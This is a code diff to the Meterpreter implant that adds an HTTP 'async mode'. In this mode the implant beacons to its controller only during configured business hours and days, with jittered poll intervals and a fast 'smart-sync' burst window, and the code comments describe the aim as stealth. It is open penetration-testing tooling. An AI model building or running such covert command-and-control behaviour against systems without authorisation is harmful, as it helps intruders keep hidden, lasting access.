diff --git a/c/meterpreter/source/common/common_command_ids.h b/c/meterpreter/source/common/common_command_ids.h index 521c7f2d3..95bc33668 100644 --- a/c/meterpreter/source/common/common_command_ids.h +++ b/c/meterpreter/source/common/common_command_ids.h @@ -56,6 +56,7 @@ #define COMMAND_ID_CORE_TRANSPORT_SET_TIMEOUTS 32 #define COMMAND_ID_CORE_TRANSPORT_SLEEP 33 #define COMMAND_ID_CORE_PIVOT_SESSION_NEW 34 +#define COMMAND_ID_CORE_ASYNC_MODE 35 #define COMMAND_ID_STDAPI_FS_CHDIR 1001 #define COMMAND_ID_STDAPI_FS_CHMOD 1002 #define COMMAND_ID_STDAPI_FS_DELETE_DIR 1003 diff --git a/c/meterpreter/source/common/common_core.h b/c/meterpreter/source/common/common_core.h index 85c5c4a5d..1ae09f697 100644 --- a/c/meterpreter/source/common/common_core.h +++ b/c/meterpreter/source/common/common_core.h @@ -183,6 +183,15 @@ typedef enum TLV_TYPE_PIVOT_STAGE_DATA = TLV_VALUE(TLV_META_TYPE_RAW, 651), ///! Represents the data to be staged on new connections. TLV_TYPE_PIVOT_NAMED_PIPE_NAME = TLV_VALUE(TLV_META_TYPE_STRING, 653), ///! Represents named pipe name. + // Async mode + TLV_TYPE_ASYNC_ENABLED = TLV_VALUE(TLV_META_TYPE_BOOL, 700), ///! Enable/disable async mode. + TLV_TYPE_ASYNC_POLL_INTERVAL = TLV_VALUE(TLV_META_TYPE_UINT, 701), ///! Seconds between check-ins. + TLV_TYPE_ASYNC_POLL_JITTER = TLV_VALUE(TLV_META_TYPE_UINT, 702), ///! Jitter percentage 0-99. + TLV_TYPE_ASYNC_WORK_START = TLV_VALUE(TLV_META_TYPE_UINT, 703), ///! Business hours start (0-23). + TLV_TYPE_ASYNC_WORK_END = TLV_VALUE(TLV_META_TYPE_UINT, 704), ///! Business hours end (0-23). + TLV_TYPE_ASYNC_WORK_DAYS = TLV_VALUE(TLV_META_TYPE_UINT, 705), ///! Bitmask of active days (bit0=Sun..bit6=Sat). + TLV_TYPE_ASYNC_SMART_SYNC = TLV_VALUE(TLV_META_TYPE_UINT, 706), ///! Smart-sync burst window in seconds (0 = disabled). + TLV_TYPE_EXTENSIONS = TLV_VALUE(TLV_META_TYPE_COMPLEX, 20000), ///! Represents an extension value. TLV_TYPE_USER = TLV_VALUE(TLV_META_TYPE_COMPLEX, 40000), ///! Represents a user value. TLV_TYPE_TEMP = TLV_VALUE(TLV_META_TYPE_COMPLEX, 60000), ///! Represents a temporary value. diff --git a/c/meterpreter/source/common/common_remote.h b/c/meterpreter/source/common/common_remote.h index f15d509c3..26fcf6e15 100644 --- a/c/meterpreter/source/common/common_remote.h +++ b/c/meterpreter/source/common/common_remote.h @@ -91,6 +91,16 @@ typedef struct _HttpTransportContext BOOL move_to_wininet; ///! If set, winhttp is busted, and we need to move to wininet. + BOOL async_mode; ///! Flag indicating whether async mode is enabled. + UINT async_poll_interval; ///! Seconds between poll check-ins in async mode. + UINT async_poll_jitter; ///! Jitter percentage (0-99) applied to poll interval. + UINT async_work_start; ///! Business hours start hour (0-23). + UINT async_work_end; ///! Business hours end hour (0-23). + UINT async_work_days; ///! Bitmask of active days (bit0=Sun..bit6=Sat). + UINT async_smart_sync_seconds; ///! Smart-sync burst window in seconds (0 = disabled). + DWORD async_last_activity_ticks; ///! GetTickCount() at last observed request/response. + HANDLE async_wake_event; ///! Event signaled to interrupt async sleep early. + PCreateHttpRequest create_req; ///! WinHTTP/WinINET specific request creation. PSendHttpRequest send_req; ///! WinHTTP/WinINET specifc request sending. PCloseRequest close_req; ///! WinHTTP/WinINET specifc request closing. @@ -165,6 +175,8 @@ typedef struct _Remote PivotTree* pivot_listeners; ///! Collection of active Meterpreter pivot listeners. PacketEncryptionContext* enc_ctx; ///! Reference to the packet encryption context. + + BOOL async_mode; ///! When TRUE, command_handle processes commands inline. } Remote; #endif diff --git a/c/meterpreter/source/metsrv/base.c b/c/meterpreter/source/metsrv/base.c index a306964e2..d6d3ac08f 100644 --- a/c/meterpreter/source/metsrv/base.c +++ b/c/meterpreter/source/metsrv/base.c @@ -455,9 +455,13 @@ BOOL command_handle(Remote *remote, Packet *packet) break; } - // if either command is registered as inline, run them inline + // if either command is registered as inline, run them inline. + // In async mode, force inline so the result is POSTed before the + // next GET poll — this lets the dispatch loop drain the queue + // in a tight poll-execute-respond cycle. if ((command && command_is_inline(command, packet)) - || packet->local) + || packet->local + || remote->async_mode) { dprintf("[DISPATCH] Executing inline: %u", commandId); result = command_process_inline(command, remote, packet); diff --git a/c/meterpreter/source/metsrv/core_async.c b/c/meterpreter/source/metsrv/core_async.c new file mode 100644 index 000000000..9e8d2746e --- /dev/null +++ b/c/meterpreter/source/metsrv/core_async.c @@ -0,0 +1,240 @@ +/*! + * @file core_async.c + * @brief Handles the core async mode command for HTTP transports. + */ +#include "metsrv.h" + +// Delay (in ms) used for the tight poll loop while inside a smart-sync burst +// window. Kept short so that chained multi-request commands (e.g. ls) flow +// without operator wait, but not zero so we don't hammer the transport if +// the framework hasn't queued the next request yet. +#define ASYNC_SMART_SYNC_BURST_MS 1000 + +/*! + * @brief Update the last-activity timestamp used by the smart-sync burst window. + * @param ctx Pointer to the HTTP transport context containing async config. + */ +VOID async_touch_activity(HttpTransportContext* ctx) +{ + if (ctx == NULL) + { + return; + } + ctx->async_last_activity_ticks = GetTickCount(); +} + +/*! + * @brief Determine whether the implant is currently inside a smart-sync burst window. + * @param ctx Pointer to the HTTP transport context containing async config. + * @returns TRUE if smart-sync is enabled and recent activity keeps us in-burst. + */ +BOOL async_in_smart_sync_window(HttpTransportContext* ctx) +{ + if (ctx == NULL || ctx->async_smart_sync_seconds == 0) + { + return FALSE; + } + + // GetTickCount() wraps every ~49 days; unsigned subtraction handles the + // wraparound correctly so long as the window is much smaller than the + // wrap period (smart_sync is in seconds, so this is trivially true). + DWORD now = GetTickCount(); + DWORD elapsedMs = now - ctx->async_last_activity_ticks; + DWORD windowMs = ctx->async_smart_sync_seconds * 1000; + return elapsedMs < windowMs; +} + +/*! + * @brief Determine if the current local hour falls within business hours on an active day. + * @param ctx Pointer to the HTTP transport context containing async config. + * @returns TRUE if currently within configured work hours, FALSE otherwise. + */ +BOOL async_in_work_hours(HttpTransportContext* ctx) +{ + SYSTEMTIME st; + GetLocalTime(&st); + + // Check if today is an active day (bit 0 = Sunday, bit 6 = Saturday) + if (ctx->async_work_days != 0) + { + UINT dayBit = 1 << st.wDayOfWeek; + if (!(ctx->async_work_days & dayBit)) + { + return FALSE; + } + } + + // Check if current hour is within work hours + if (ctx->async_work_start < ctx->async_work_end) + { + // Normal range, e.g. 8-17 + if (st.wHour < ctx->async_work_start || st.wHour >= ctx->async_work_end) + { + return FALSE; + } + } + else if (ctx->async_work_start > ctx->async_work_end) + { + // Overnight range, e.g. 22-6 + if (st.wHour >= ctx->async_work_end && st.wHour < ctx->async_work_start) + { + return FALSE; + } + } + // If start == end, treat as 24h (always active) + + return TRUE; +} + +/*! + * @brief Calculate the sleep duration in milliseconds for the current async poll cycle. + * @param ctx Pointer to the HTTP transport context containing async config. + * @returns Sleep duration in milliseconds with jitter applied. Returns a short + * burst interval (no jitter) when inside the smart-sync window. + */ +DWORD async_calculate_sleep_ms(HttpTransportContext* ctx) +{ + // Smart-sync burst: recent activity implies an operator interaction is in + // flight; keep polling fast so chained requests complete promptly. + // Jitter is intentionally skipped inside the burst window — the goal here + // is responsiveness, not stealth (the operator is already talking to us). + if (async_in_smart_sync_window(ctx)) + { + return ASYNC_SMART_SYNC_BURST_MS; + } + + DWORD intervalMs = ctx->async_poll_interval * 1000; + + if (ctx->async_poll_jitter > 0 && ctx->async_poll_jitter < 100) + { + // Apply jitter: interval ± jitter% + DWORD jitterRange = (intervalMs * ctx->async_poll_jitter) / 100; + // Random value in range [0, 2*jitterRange], then shift to [-jitterRange, +jitterRange] + DWORD randVal; + if (jitterRange > 0) + { + randVal = (DWORD)(rand() % (2 * jitterRange + 1)); + intervalMs = intervalMs - jitterRange + randVal; + } + } + + return intervalMs; +} + +/*! + * @brief Handle the COMMAND_ID_CORE_ASYNC_MODE request. + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to the incoming request \c Packet. + * @returns Indication of success or failure. + */ +DWORD request_core_async_mode(Remote* remote, Packet* packet) +{ + Packet* response = met_api->packet.create_response(packet); + DWORD result = ERROR_SUCCESS; + Transport* transport = remote->transport; + + // Async mode is only supported on HTTP transports + if (!(transport->type & METERPRETER_TRANSPORT_HTTP)) + { + dprintf("[ASYNC] Async mode is only supported on HTTP transports"); + result = ERROR_NOT_SUPPORTED; + } + else + { + HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; + + BOOL enabled = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_ASYNC_ENABLED); + ctx->async_mode = enabled; + remote->async_mode = enabled; + + if (enabled) + { + UINT pollInterval = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_ASYNC_POLL_INTERVAL); + UINT pollJitter = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_ASYNC_POLL_JITTER); + UINT workStart = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_ASYNC_WORK_START); + UINT workEnd = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_ASYNC_WORK_END); + UINT workDays = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_ASYNC_WORK_DAYS); + UINT smartSync = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_ASYNC_SMART_SYNC); + + // Apply poll interval (minimum 10 seconds to avoid spin) + if (pollInterval >= 10) + { + ctx->async_poll_interval = pollInterval; + } + else if (pollInterval > 0) + { + ctx->async_poll_interval = 10; + } + else + { + // Default to 300 seconds if not specified + ctx->async_poll_interval = 300; + } + + // Jitter must be 0-99 + if (pollJitter < 100) + { + ctx->async_poll_jitter = pollJitter; + } + else + { + ctx->async_poll_jitter = 0; + } + + // Work hours (0-23, end also accepts 24 meaning midnight) + ctx->async_work_start = (workStart <= 23) ? workStart : 0; + ctx->async_work_end = (workEnd <= 24) ? workEnd : 0; + + // Work days bitmask (7 bits: bit0=Sun..bit6=Sat) + ctx->async_work_days = workDays & 0x7F; + + // Smart-sync burst window (seconds). 0 disables the feature and + // keeps behavior backward compatible with framework versions that + // don't send the TLV. + ctx->async_smart_sync_seconds = smartSync; + + // Seed the last-activity timestamp so we don't accidentally start + // in an "always in burst" state due to an uninitialized value. + // We deliberately set it far enough in the past that the first + // check-in uses the normal poll_interval unless a request arrives. + ctx->async_last_activity_ticks = GetTickCount() - (smartSync * 1000) - 1000; + + // Create the wake event (auto-reset) so sleeps can be interrupted + if (ctx->async_wake_event == NULL) + { + ctx->async_wake_event = CreateEvent(NULL, FALSE, FALSE, NULL); + } + + dprintf("[ASYNC] Async mode enabled: interval=%us, jitter=%u%%, hours=%u-%u, days=0x%02X, smart_sync=%us", + ctx->async_poll_interval, ctx->async_poll_jitter, + ctx->async_work_start, ctx->async_work_end, ctx->async_work_days, + ctx->async_smart_sync_seconds); + } + else + { + dprintf("[ASYNC] Async mode disabled"); + + // Signal the wake event to interrupt any in-progress async sleep + if (ctx->async_wake_event != NULL) + { + SetEvent(ctx->async_wake_event); + CloseHandle(ctx->async_wake_event); + ctx->async_wake_event = NULL; + } + + ctx->async_poll_interval = 0; + ctx->async_poll_jitter = 0; + ctx->async_work_start = 0; + ctx->async_work_end = 0; + ctx->async_work_days = 0; + ctx->async_smart_sync_seconds = 0; + ctx->async_last_activity_ticks = 0; + } + + met_api->packet.add_tlv_bool(response, TLV_TYPE_ASYNC_ENABLED, ctx->async_mode); + } + + met_api->packet.transmit_response(result, remote, response); + + return result; +} diff --git a/c/meterpreter/source/metsrv/remote_dispatch.c b/c/meterpreter/source/metsrv/remote_dispatch.c index 010e1eb78..0113df67a 100644 --- a/c/meterpreter/source/metsrv/remote_dispatch.c +++ b/c/meterpreter/source/metsrv/remote_dispatch.c @@ -21,6 +21,7 @@ DWORD request_core_machine_id(Remote* remote, Packet* packet); DWORD request_core_get_session_guid(Remote* remote, Packet* packet); DWORD request_core_set_session_guid(Remote* remote, Packet* packet); DWORD request_core_set_uuid(Remote* remote, Packet* packet); +DWORD request_core_async_mode(Remote* remote, Packet* packet); BOOL request_core_patch_url(Remote* remote, Packet* packet, DWORD* result); // Dispatch table @@ -34,6 +35,7 @@ Command customCommands[] = COMMAND_REQ(COMMAND_ID_CORE_SET_UUID, request_core_set_uuid), COMMAND_REQ(COMMAND_ID_CORE_PIVOT_ADD, request_core_pivot_add), COMMAND_REQ(COMMAND_ID_CORE_PIVOT_REMOVE, request_core_pivot_remove), + COMMAND_REQ(COMMAND_ID_CORE_ASYNC_MODE, request_core_async_mode), COMMAND_INLINE_REP(COMMAND_ID_CORE_PATCH_URL, request_core_patch_url), COMMAND_TERMINATOR }; diff --git a/c/meterpreter/source/metsrv/server_transport_winhttp.c b/c/meterpreter/source/metsrv/server_transport_winhttp.c index cbbbe8057..f52bf07de 100644 --- a/c/meterpreter/source/metsrv/server_transport_winhttp.c +++ b/c/meterpreter/source/metsrv/server_transport_winhttp.c @@ -11,6 +11,11 @@ #include "packet_encryption.h" #include "pivot_packet_dispatch.h" +// Async mode helpers (defined in core_async.c) +extern BOOL async_in_work_hours(HttpTransportContext* ctx); +extern DWORD async_calculate_sleep_ms(HttpTransportContext* ctx); +extern VOID async_touch_activity(HttpTransportContext* ctx); + /*! * @brief Prepare a winHTTP request with the given context. * @param ctx Pointer to the HTTP transport context to prepare the request from. @@ -314,6 +319,13 @@ static DWORD packet_transmit_http(Remote *remote, LPBYTE rawPacket, DWORD rawPac } dprintf("[PACKET TRANSMIT HTTP] request sent.. apparently"); + + // Async smart-sync: record that we just sent a response so the next + // idle poll uses the short burst delay instead of the full poll interval. + if (ctx->async_mode) + { + async_touch_activity(ctx); + } } while(0); ctx->close_req(hReq); @@ -675,6 +687,24 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread) break; } + // Async mode: wait until inside business hours before polling + if (ctx->async_mode && (ctx->async_work_start != ctx->async_work_end) && !async_in_work_hours(ctx)) + { + dprintf("[DISPATCH] Outside business hours, sleeping 60s before re-check"); + if (ctx->async_wake_event) + { + WaitForSingleObject(ctx->async_wake_event, 60000); + } + else + { + Sleep(60000); + } + // Keep comms timestamp fresh so the timeout check doesn't + // kill the transport during intentional out-of-hours sleep + transport->comms_last_packet = current_unix_timestamp(); + continue; + } + dprintf("[DISPATCH] Reading data from the remote side..."); result = packet_receive_http(remote, &packet); @@ -684,6 +714,24 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread) if (result == ERROR_EMPTY) { transport->comms_last_packet = current_unix_timestamp(); + + // In async mode, sleep for the configured poll interval on empty responses + if (ctx->async_mode && ctx->async_poll_interval > 0) + { + DWORD asyncDelay = async_calculate_sleep_ms(ctx); + dprintf("[DISPATCH] Async mode: no commands, sleeping for %ums", asyncDelay); + if (ctx->async_wake_event) + { + WaitForSingleObject(ctx->async_wake_event, asyncDelay); + } + else + { + Sleep(asyncDelay); + } + // Refresh timestamp so comms timeout doesn't fire after the async sleep + transport->comms_last_packet = current_unix_timestamp(); + continue; + } } else if (result == ERROR_WINHTTP_CANNOT_CONNECT) { @@ -736,6 +784,14 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread) // Reset the empty count when we receive a packet ecount = 0; + // Async smart-sync: an actual request from the framework means an + // operator interaction is in flight; the next idle poll should + // stay in the tight burst loop. + if (ctx->async_mode) + { + async_touch_activity(ctx); + } + dprintf("[DISPATCH] Returned result: %d", result); if (packet != NULL) @@ -802,6 +858,10 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread) { dprintf("[DISPATCH] Packet was NULL, this indicates that it was a pivot packet"); } + + // In async mode, do NOT sleep after handling a command — immediately + // poll again to drain any remaining queued commands. The sleep only + // happens on empty responses (no commands available). } }